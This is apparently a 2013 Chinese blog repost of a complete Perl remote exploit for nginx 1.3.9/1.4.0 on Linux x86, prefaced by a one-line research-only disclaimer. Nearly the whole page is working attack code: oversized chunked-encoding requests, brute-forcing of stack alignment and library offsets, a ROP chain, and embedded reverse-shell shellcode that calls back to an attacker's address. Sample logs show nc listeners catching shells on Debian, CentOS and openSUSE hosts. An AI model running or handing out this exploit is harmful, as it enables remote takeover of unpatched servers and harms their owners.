nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. #nginx 1.3.9/1.4.0 x86 brute force remote exploit
    2. # copyright (c) 2013 kingcope
    3. #----------------------------
    4. #fix for internet exploitation, set MTU:
    5. #ifconfig <interface> mtu 60000 up
    6. #
    7. ###
    8. # !!! WARNING !!!
    9. # this exploit is unlikely to succeed when used against remote internet hosts.
    10. # the reason is that nginx uses a non-blocking read() at the remote connection,
    11. # this makes exploitation of targets on the internet highly unreliable.
    12. # (it has been tested against a testbed on the internet but I couldn't exploit
    13. # any other box with it. required was the above ifconfig setting on the client.
    14. # maybe enabling large tcp frame support on a gigabit connection is more
    15. # useful)
    16. # so use it inside intranets only (duh!), this remains a PoC for now :D
    17. # The exploit does not break stack cookies but makes use of a reliable method
    18. # to retrieve all needed offsets for Linux x86 and pop a shell.
    19. ###
    20. #TODO
    21. #*cleanup code
    22. #*implement stack cookie break and amd64 support
    23. #*support proxy_pass directive
    24. ###
    25. =for comment
    26. TARGET TESTS (Debian,Centos,OpenSuSE)
    27. 1.Debian7
    28. perl ngxunlock.pl 192.168.27.14680192.168.27.146443
    29. Testingif remote httpd is vulnerable % SEGV %
    30. YES %
    31. Finding align distance (estimate)
    32. testing 5250 align % SEGV %
    33. testing 5182 align % SEGV %
    34. Verifying align
    35. Finding align distance (estimate)
    36. testing 5250 align % SEGV %
    37. testing 5182 align % SEGV %
    38. Finding write offset, determining exact align
    39. testing 0x08049c50,5184 align % SURVIVED %
    40. Extracting memory \
    41. bin search done, read 20480 bytes
    42. exact align found 5184
    43. Finding exact library addresses
    44. trying plt 0x08049a32, got 0x080bc1a4,function0xb76f4a80% FOUND exact ioctl 0x08049a30%
    45. trying plt 0x08049ce2, got 0x080bc250,function0xb773e890% FOUND exact memset 0x08049ce0%
    46. trying plt 0x08049d52, got 0x080bc26c,function0xb76f8d40% FOUND exact mmap64 0x08049d50%
    47. Found library offsets, determining mnemonics
    48. trying 0x0804ed2d% SURVIVED %
    49. exact large pop ret 0x0804a7eb
    50. exact pop x3 ret 0x0804a7ee
    51. bin search done|
    52. See reverse handler for success
    53. nc -v -l -p 443
    54. listening on [any]443...
    55. 192.168.27.146: inverse host lookup failed:Unknown host
    56. connect to [192.168.27.146]from(UNKNOWN)[192.168.27.146]34778
    57. uname -a;id;
    58. Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
    59. uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
    60. cat /etc/debian_version
    61. 7.1
    62. 2.CentOS6.4
    63. perl ngxunlock.pl 192.168.27.12980192.168.27.129443
    64. Testingif remote httpd is vulnerable % SEGV %
    65. YES %
    66. Finding align distance (estimate)
    67. testing 5250 align % SEGV %
    68. testing 5194 align % SEGV %
    69. Verifying align
    70. Finding align distance (estimate)
    71. testing 5250 align % SEGV %
    72. testing 5194 align % SEGV %
    73. Finding write offset, determining exact align
    74. testing 0x08049990,5200 align % SURVIVED %
    75. Extracting memory /
    76. bin search done, read 20480 bytes
    77. exact align found 5200
    78. Finding exact library addresses
    79. trying plt 0x080499f2, got 0x080b31ac,function0x0094a6b0% FOUND exact memset 0x080499f0%
    80. trying plt 0x08049b52, got 0x080b3204,function0x008f1fd0% FOUND exact ioctl 0x08049b50%
    81. trying plt 0x08049f12, got 0x080b32f4,function0x008f72c0% FOUND exact mmap64 0x08049f10%
    82. Found library offsets, determining mnemonics
    83. trying 0x0804e9d4% SURVIVED %
    84. exact large pop ret 0x0806194d
    85. exact pop x3 ret 0x0804a832
    86. bin search done/
    87. See reverse handler for success
    88. nc -v -l 443
    89. Connectionfrom192.168.27.129 port 443[tcp/https] accepted
    90. uname -a;id;
    91. Linux localhost.localdomain 2.6.32-358.el6.i686#1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
    92. uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    93. cat /etc/redhat*
    94. CentOS release 6.4(Final)
    95. 3.OpenSuSE12.1
    96. perl ngxunlock.pl 192.168.27.13580192.168.27.135443
    97. Testingif remote httpd is vulnerable % SEGV %
    98. YES %
    99. Finding align distance (estimate)
    100. testing 5250 align % SEGV %
    101. testing 5182 align % SEGV %
    102. Verifying align
    103. Finding align distance (estimate)
    104. testing 5250 align % SEGV %
    105. testing 5182 align % SEGV %
    106. Finding write offset, determining exact align
    107. testing 0x08049a18,5184 align % SURVIVED %
    108. Extracting memory \
    109. bin search done, read 20480 bytes
    110. exact align found 5184
    111. Finding exact library addresses
    112. trying plt 0x08049a6a, got 0x080be08c,function0xb75f74f0% FOUND exact memset 0x08049a68%
    113. trying plt 0x08049b8a, got 0x080be0d4,function0xb764b160% FOUND exact ioctl 0x08049b88%
    114. trying plt 0x08049eea, got 0x080be1ac,function0xb76501e0% FOUND exact mmap64 0x08049ee8%
    115. Found library offsets, determining mnemonics
    116. trying 0x0804ea7f% SURVIVED %
    117. exact large pop ret 0x0804a7fa
    118. exact pop x3 ret 0x0804a101
    119. bin search done-
    120. See reverse handler for success
    121. Connectionfrom192.168.27.135 port 443[tcp/https] accepted
    122. uname -a;id;
    123. Linux linux-01xg3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
    124. uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
    125. cat /etc/SuSE-*
    126. openSUSE
    127. VERSION =12.1
    128. openSUSE 12.1(i586)
    129. VERSION =12.1
    130. CODENAME =Asparagus
    131. =cut
    132. use IO::Socket;
    133. if($#ARGV < 3) {
    134. print"nginx remote exploit\n";
    135. print"copyright (c) 2013 kingcope\n";
    136. print"usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
    137. exit;
    138. }
    139. $target = $ARGV[0];
    140. $targetport = $ARGV[1];
    141. $cbip = $ARGV[2];
    142. $cbport = $ARGV[3];
    143. #linux reverse shell by bighawk
    144. $lnxcbsc =
    145. "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b"
    146. ."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
    147. ."\x7f\x7f\x7f\x7f"# IP
    148. ."\x66\x68"."\xb0\xef"# PORT
    149. ."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
    150. ."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2"
    151. ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
    152. ($a1, $a2, $a3, $a4)= split(//, gethostbyname("$cbip"));
    153. substr($lnxcbsc,31,4, $a1 . $a2 . $a3 . $a4);
    154. ($p1, $p2)= split(//, reverse(pack("s", $cbport)));
    155. $p1 = chr(ord($p1));
    156. $p2 = chr(ord($p2));
    157. substr($lnxcbsc,37,2, $p1 . $p2);
    158. $|=1;
    159. $uri="";
    160. ###test target vulnerable
    161. #XXX
    162. #$k = 0x80498d0;
    163. #$align2 = 5200;
    164. #$alignplus=0;
    165. #goto debug;
    166. print"Testing if remote httpd is vulnerable ";
    167. $uritested =0;
    168. test:
    169. goto l;
    170. connecterr:
    171. if($j==0){
    172. print"\nDestination host unreachable\n";
    173. exit;
    174. }
    175. goto again;
    176. l:
    177. for($j=0;$j<15;$j++){
    178. again:
    179. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    180. PeerPort=> $targetport,
    181. Proto=>'tcp')||{goto connecterr};
    182. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    183. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    184. ."Connection: close\r\n"
    185. ."Transfer-Encoding:chunked\r\n\r\n";
    186. $req .="0" x (1024-length($req)-16)."8000000000003770";
    187. $stack = pack("V",0xc0debabe);
    188. twinkle();
    189. print $sock $req;
    190. send($sock,"A" x (5555-1024). $stack, MSG_OOB);
    191. $l = read($sock, $buffer,0x10);
    192. close($sock);
    193. twinkle();
    194. if($buffer =~/HTTP\/1.1/){
    195. next;
    196. }
    197. if($l <=0){
    198. print"% SEGV %\n";
    199. print"YES %\n";
    200. goto yes;
    201. }
    202. }
    203. if($uritested ==0){
    204. $uri ="50x.html";
    205. $uritested=1;
    206. goto test;
    207. }
    208. print"\n\\\\ NO %\n";
    209. print"\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
    210. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    211. PeerPort=> $targetport,
    212. Proto=>'tcp')||{goto connecterr};
    213. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    214. $req ="GET / HTTP/1.1\r\nHost: $target\r\n"
    215. ."Connection: keep-alive\r\n"
    216. ."Transfer-Encoding:chunked\r\n\r\n";
    217. $req .="0" x (1024-length($req)-16)."8000000000003770";
    218. $stack = pack("V",0xc0debabe);
    219. print $sock $req;
    220. send($sock,"A" x (5555-1024). $stack, MSG_OOB);
    221. $line =0;
    222. while(<$sock>){
    223. print;
    224. if($line >30){
    225. last;
    226. }
    227. }
    228. exit;
    229. ###find align
    230. $verifyalign =0;
    231. yes:
    232. print"Finding align distance (estimate)\n";
    233. for($align=4050;$align<6000;$align+=100){
    234. for($j=0;$j<15;$j++){
    235. printf("testing %d align ",$align);
    236. again0_1:
    237. # $sock = IO::Socket::INET->new(PeerAddr => $target,
    238. # PeerPort => $targetport,
    239. # Proto => 'tcp') || {goto again0_1};
    240. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
    241. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    242. # ."Connection: close\r\n\r\n";
    243. # print $sock $req;
    244. # close($sock);
    245. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    246. PeerPort=> $targetport,
    247. Proto=>'tcp')||{goto again0_1};
    248. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    249. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    250. ."Connection: keep-alive\r\n"
    251. ."Transfer-Encoding:chunked\r\n\r\n";
    252. $req .="0" x (1024-length($req)-16)."8000000000003770";
    253. $stack = pack("V",0xc0debabe);
    254. print $sock $req;
    255. send($sock,"A" x ($align-1024). $stack, MSG_OOB);
    256. $l = read($sock, $buffer,0x10);
    257. twinkle();
    258. close($sock);
    259. if($l <=0){
    260. if($align ==4050){
    261. gotoout;
    262. }
    263. print" % SEGV %\n";
    264. $alignstart = $align-100;
    265. goto incalign;
    266. }
    267. print"\r\r\r\r";
    268. if($buffer =~/HTTP\/1.1/){
    269. next;
    270. }
    271. close($sock);
    272. }
    273. }
    274. out:
    275. print"\n\\\\ Align not found\n";
    276. exit;
    277. incalign:
    278. for($align=$alignstart;$align<6000;$align++){
    279. for($j=0;$j<7;$j++){
    280. printf("testing %d align ",$align);
    281. again0_2:
    282. # $sock = IO::Socket::INET->new(PeerAddr => $target,
    283. # PeerPort => $targetport,
    284. # Proto => 'tcp') || {goto again0_2};
    285. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
    286. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    287. # ."Connection: close\r\n\r\n";
    288. # print $sock $req;
    289. # close($sock);
    290. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    291. PeerPort=> $targetport,
    292. Proto=>'tcp')||{goto again0_2};
    293. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    294. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    295. ."Connection: keep-alive\r\n"
    296. ."Transfer-Encoding:chunked\r\n\r\n";
    297. $req .="0" x (1024-length($req)-16)."8000000000003770";
    298. $stack = pack("V",0xc0debabe);
    299. print $sock $req;
    300. send($sock,"A" x ($align-1024). $stack, MSG_OOB);
    301. $l = read($sock, $buffer,0x10);
    302. twinkle();
    303. close($sock);
    304. if($l <=0){
    305. print" % SEGV %\n";
    306. if($verifyalign ==0){
    307. print"Verifying align\n";
    308. $verifyalign = $align;
    309. goto yes;
    310. }
    311. if(($align > $verifyalign +4)||($align < $verifyalign -4)){
    312. print"\\\\ Align and verfied align do not match\n";
    313. exit;
    314. }
    315. if($verifyalign < $align){
    316. $align = $verifyalign;
    317. }
    318. gotobegin;
    319. }
    320. print"\r\r\r\r";
    321. if($buffer =~/HTTP\/1.1/){
    322. next;
    323. }
    324. close($sock);
    325. }
    326. }
    327. print"\n\\\\ could not find align value. bailing out";
    328. exit;
    329. ###find write offset
    330. begin:
    331. print"Finding write offset, determining exact align\n";
    332. $align2 = $align;
    333. $ok =0;
    334. #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
    335. for($k=0x08049800;$k<=0x0804FFFF;$k+=4){
    336. #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {
    337. for($alignplus=0;$alignplus<7;$alignplus++){
    338. debug:
    339. for($j=0;$j<10;$j++){
    340. if(pack("V", $k)=~/\x20/){
    341. next;
    342. }
    343. $align = $align2 + $alignplus;
    344. printf("testing 0x%08x, %d align ",$k,$align);
    345. again1:
    346. # if ($ok==0) {
    347. # $sock = IO::Socket::INET->new(PeerAddr => $target,
    348. # PeerPort => $targetport,
    349. # Proto => 'tcp') || {goto again1};
    350. # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
    351. # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    352. # ."Connection: close\r\n\r\n";
    353. # print $sock $req;
    354. # close($sock);
    355. # }
    356. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    357. PeerPort=> $targetport,
    358. Proto=>'tcp')||{goto again1};
    359. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    360. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    361. ."Connection: keep-alive\r\n"
    362. ."Transfer-Encoding:chunked\r\n\r\n";
    363. $req .="0" x (1024-length($req)-16)."8000000000003770";
    364. # $k = 0x8049e30; #XXX
    365. $stack = pack("V", $k)# write plt assumed,eg 0x804ab6c
    366. ."ZZZZ"# crash dummy
    367. ."\x03\x00\x00\x00"# write file descriptor
    368. . pack("V", $k-0x1000)# write buffer
    369. ."\xff\xff\xf0\x00";# write size
    370. #$p = <stdin>;
    371. print $sock $req;
    372. if($ok ==0){
    373. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    374. }else{
    375. send($sock,"A" x ($align-1024). $stack ."A" x 500, MSG_OOB);
    376. }
    377. $l = read($sock, $buffer,0x5000);
    378. twinkle();
    379. close($sock);
    380. #0x8049c50
    381. if($buffer =~/HTTP\/1.1/){
    382. if($ok ==0){
    383. print"\r\r\r\r";
    384. next;
    385. }else{
    386. goto again1;
    387. }
    388. }
    389. if($ok ==1&& length($buffer)<0x2000){
    390. goto again1;
    391. }
    392. if(length($buffer)>350){
    393. if($ok ==0){
    394. $ok =1;
    395. print" % SURVIVED %\n";
    396. print("Extracting memory ");
    397. goto again1;
    398. }
    399. print"\nbin search done, ";
    400. printf("read %d bytes\n", $l);
    401. goto hit;
    402. }
    403. print"\r\r\r\r";
    404. }
    405. }
    406. }
    407. print"\n\\\\unable to get write offset\n";
    408. exit;
    409. hit:
    410. printf("exact align found %d\n", $align);
    411. print"Finding exact library addresses\n";
    412. $write = $k;
    413. $writeless = $write-0x1000;
    414. ### find offsets for mmap64, memset and ioctl
    415. $mmap64 ="";
    416. $ioctl ="";
    417. $memset ="";
    418. $mmap64_prefix =
    419. "\x55\x53\x56\x57\x8b\x54\x24\x28"
    420. ."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
    421. ."\x00\x00\x75";
    422. $ioctl_prefix =
    423. "\x53\x8b\x54\x24\x10\x8b\x4c\x24"
    424. ."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
    425. ."\x00\x00";
    426. $memset_prefix =
    427. "\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
    428. ."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
    429. ."\x10\x09\xd0\x8b\x54\x24\x08\x83";
    430. $memset_prefix2 =
    431. "\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
    432. ."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
    433. ."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
    434. $memset_prefix3 =
    435. "\x57\x8b\x7c\x24\x08\x8b\x54\x24"
    436. ."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
    437. ."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
    438. $memset_prefix4 =
    439. "\x55\x89\xe5\x57\x56\x83\xec\x04".
    440. "\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
    441. "\x4d\x10\x89\xf7\x89\xd0\xfc\x83";
    442. $buffer2 = $buffer;
    443. $buffer3 = $buffer;
    444. plt_again:
    445. $buffer2 = $buffer3;
    446. for(;;){
    447. $i = index($buffer2,"\xff\x25");
    448. if($i >=0){
    449. if(($j = index($buffer3, substr($buffer2, $i,50)))<=0){
    450. $buffer2 = substr($buffer2, $i+2);
    451. next;
    452. }
    453. $buffer2 = substr($buffer2, $i+2);
    454. $address = $writeless + $j;
    455. ### delve into library function
    456. printf "trying plt 0x%08x, ",($address+2);
    457. again2:
    458. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    459. PeerPort=> $targetport,
    460. Proto=>'tcp')||{goto again2};
    461. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    462. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    463. ."Connection: keep-alive\r\n"
    464. ."Transfer-Encoding:chunked\r\n\r\n";
    465. $req .="0" x (1024-length($req)-16)."8000000000003770";
    466. $stack = pack("V", $write)# write plt
    467. ."ZZZZ"# crash dummy
    468. ."\x03\x00\x00\x00"# write file descriptor
    469. . pack("V", $address+2)# write buffer
    470. ."\x00\x03\x00\x00";# write size
    471. print $sock $req;
    472. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    473. $l = read($sock, $buffer,0x300);
    474. if($buffer =~/HTTP\/1.1/){
    475. goto again2;
    476. }
    477. if($l ==0x300){
    478. $gotentry = unpack("V", substr($buffer,0,4));
    479. if($gotentry ==0){
    480. print"\r\r\r\r";
    481. next;
    482. }
    483. close($sock);
    484. }else{
    485. close($sock);
    486. goto again2;
    487. }
    488. printf "got 0x%08x, ", $gotentry;
    489. again3:
    490. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    491. PeerPort=> $targetport,
    492. Proto=>'tcp')||{goto again3};
    493. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    494. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    495. ."Connection: keep-alive\r\n"
    496. ."Transfer-Encoding:chunked\r\n\r\n";
    497. $req .="0" x (1024-length($req)-16)."8000000000003770";
    498. $stack = pack("V", $write)# write plt
    499. ."ZZZZ"# crash dummy
    500. ."\x03\x00\x00\x00"# write file descriptor
    501. . pack("V", $gotentry)# write buffer
    502. ."\x00\x03\x00\x00";# write size
    503. print $sock $req;
    504. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    505. $l = read($sock, $buffer,0x300);
    506. close($sock);
    507. if($buffer =~/HTTP\/1.1/){
    508. goto again3;
    509. }
    510. if($l ==0x300){
    511. $function = unpack("V", substr($buffer,0,4));
    512. }else{
    513. goto again3;
    514. }
    515. if($function ==0){
    516. print"\r\r\r\r";
    517. next;
    518. }
    519. printf "function 0x%08x ", $function;
    520. again4:
    521. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    522. PeerPort=> $targetport,
    523. Proto=>'tcp')||{goto again4};
    524. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    525. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    526. ."Connection: keep-alive\r\n"
    527. ."Transfer-Encoding:chunked\r\n\r\n";
    528. $req .="0" x (1024-length($req)-16)."8000000000003770";
    529. $stack = pack("V", $write)# write plt
    530. ."ZZZZ"# crash dummy
    531. ."\x03\x00\x00\x00"# write file descriptor
    532. . pack("V", $function)# write buffer
    533. ."\xff\xff\xf0\x00";# write size
    534. print $sock $req;
    535. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    536. #$p = <stdin>;
    537. $l = read($sock, $buffer,0x500);
    538. close($sock);
    539. if($buffer =~/HTTP\/1.1/){
    540. goto again4;
    541. }
    542. if($l !=0x500){
    543. goto again4;
    544. }
    545. ###
    546. if(substr($buffer,0, length($mmap64_prefix)) eq
    547. $mmap64_prefix){
    548. $mmap64 = $address;
    549. printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
    550. }
    551. if((substr($buffer,0, length($memset_prefix)) eq
    552. $memset_prefix)or
    553. (substr($buffer,0, length($memset_prefix2)) eq
    554. $memset_prefix2)or
    555. (substr($buffer,0, length($memset_prefix3)) eq
    556. $memset_prefix3)or
    557. (substr($buffer,0, length($memset_prefix4)) eq
    558. $memset_prefix4)){
    559. $memset = $address;
    560. printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
    561. }
    562. if(substr($buffer,0, length($ioctl_prefix)) eq
    563. $ioctl_prefix){
    564. $ioctl = $address;
    565. printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
    566. }
    567. if(($mmap64 ne "")and($memset ne "")and($ioctl ne "")){
    568. goto gotplt;
    569. }
    570. print"\r\r\r\r";
    571. }else{
    572. last;
    573. }
    574. }
    575. print"\nFinding exact library addresses\n";
    576. goto plt_again;
    577. gotplt:
    578. print"Found library offsets, determining mnemonics\n";
    579. ### find pop pop pop ret
    580. ### to set socket blocking
    581. for($k=$write +0x5000;;$k++){
    582. printf("trying 0x%08x ",$k);
    583. again5:
    584. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    585. PeerPort=> $targetport,
    586. Proto=>'tcp')||{goto again5};
    587. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    588. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    589. ."Connection: keep-alive\r\n"
    590. ."Transfer-Encoding:chunked\r\n\r\n";
    591. $req .="0" x (1024-length($req)-16)."8000000000003770";
    592. $stack = pack("V", $ioctl)
    593. . pack("V", $k)# pop pop pop ret assumed
    594. ."\x03\x00\x00\x00"
    595. ."\x21\x54\x00\x00"
    596. ."\x08\x80\x04\x08"# null byte
    597. . pack("V", $write)# write plt found
    598. ."ZZZZ"# crash dummy
    599. ."\x03\x00\x00\x00"# write file descriptor
    600. . pack("V", $write)# write buffer
    601. ."\xff\xff\x0f\x00";# write size
    602. print $sock $req;
    603. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    604. #$p = <stdin>;
    605. $l = read($sock, $buffer,0xfffff);
    606. close($sock);
    607. twinkle();
    608. if($buffer =~/HTTP\/1.1/){
    609. again5;
    610. }
    611. if($l >0xfff){
    612. print" % SURVIVED %\n";
    613. close($sock);
    614. goto hit2;
    615. }
    616. print"\r\r\r\r";
    617. next;
    618. }
    619. hit2:
    620. ###send attack buffer
    621. ###find largepopret
    622. @matches= $buffer =~/(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
    623. foreach $m (@matches){
    624. $i = index($buffer, $m);
    625. twinkle();
    626. print"\r";
    627. if($i >=0){
    628. $__largepopret = $write + $i;
    629. printf("exact large pop ret 0x%08x\n", $__largepopret);
    630. goto hit3;
    631. }
    632. }
    633. print"\\\\ large pop ret not found\n";
    634. exit;
    635. hit3:
    636. ###find poppoppopret
    637. @matches= $buffer =~/([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
    638. foreach $m (@matches){
    639. $i = index($buffer, $m);
    640. if($i >=0){
    641. $__poppoppopret = $write + $i;
    642. printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
    643. goto attack;
    644. }
    645. }
    646. print"\\\\ poppoppopret not found\n";
    647. exit;
    648. attack:
    649. $largepopret = pack("V", $__largepopret);
    650. $popblock ="\x00\x00\x00\x00"
    651. ."\x00\x00\x00\x00"
    652. ."\x00\x00\x00\x00"
    653. ."\x00\x00\x00\x00";
    654. $popret = pack("V", $__poppoppopret+2);
    655. $poppoppopret = pack("V", $__poppoppopret);
    656. $pop3ret = $__poppoppopret;
    657. $copycode ="\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
    658. ."\xeb\xff";
    659. $memsetcode ="";
    660. $copyaddress =0x10000000;
    661. for($i=0;$i<length($copycode);$i++){
    662. $byte = substr($copycode, $i,1);
    663. $memsetcode .= pack("V", $memset)
    664. . pack("V", $pop3ret)
    665. . pack("V", $copyaddress)
    666. . $byte ."\x00\x00\x00"
    667. ."\x01\x00\x00\x00";
    668. $copyaddress++;
    669. }
    670. for($q=0;$q<10;$q++){
    671. print"bin search done ";
    672. sleep(1);
    673. twinkle();
    674. print"\r"
    675. }
    676. print"\n";
    677. print"See reverse handler for success\n";
    678. again6:
    679. $sock = IO::Socket::INET->new(PeerAddr=> $target,
    680. PeerPort=> $targetport,
    681. Proto=>'tcp')||{goto again6};
    682. setsockopt($sock, SOL_SOCKET, SO_SNDBUF,60000);
    683. $req ="HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
    684. ."Connection: close\r\n"
    685. ."Transfer-Encoding:chunked\r\n\r\n";
    686. $req .="0" x (1024-length($req)-16)."8000000000003770";
    687. $stack = pack("V", $mmap64)
    688. . $largepopret
    689. ."\x00\x00\x00\x10"# mmap start
    690. ."\x00\x10\x00\x00"# mmap size
    691. ."\x07\x00\x00\x00"# mmap prot
    692. ."\x32\x00\x00\x00"# mmap flags
    693. ."\xff\xff\xff\xff"# mmap fd
    694. ."\x00\x00\x00\x00"# mmap offset
    695. ."\x00\x00\x00\x00"# mmap offset
    696. . $popblock
    697. . $memsetcode
    698. ."\x00\x00\x00\x10"# JUMP TO 0x10000000 (rwxp addr)
    699. ."\x90" x 100. $lnxcbsc;
    700. #$p = <stdin>;
    701. print $sock $req;
    702. send($sock,"A" x ($align-1024). $stack ."A" x 1000, MSG_OOB);
    703. close($sock);
    704. goto again6;# XXX
    705. my $current =0;
    706. sub twinkle {
    707. $cursors[0]="|";
    708. $cursors[1]="/";
    709. $cursors[2]="-";
    710. $cursors[3]="\\";
    711. print"$cursors[$current++]\b";
    712. if($current >3){
    713. $current =0;
    714. }
    715. }
posted @ 2013-07-11 22:00  夏虫xm  阅读(482)  评论(0编辑  收藏  举报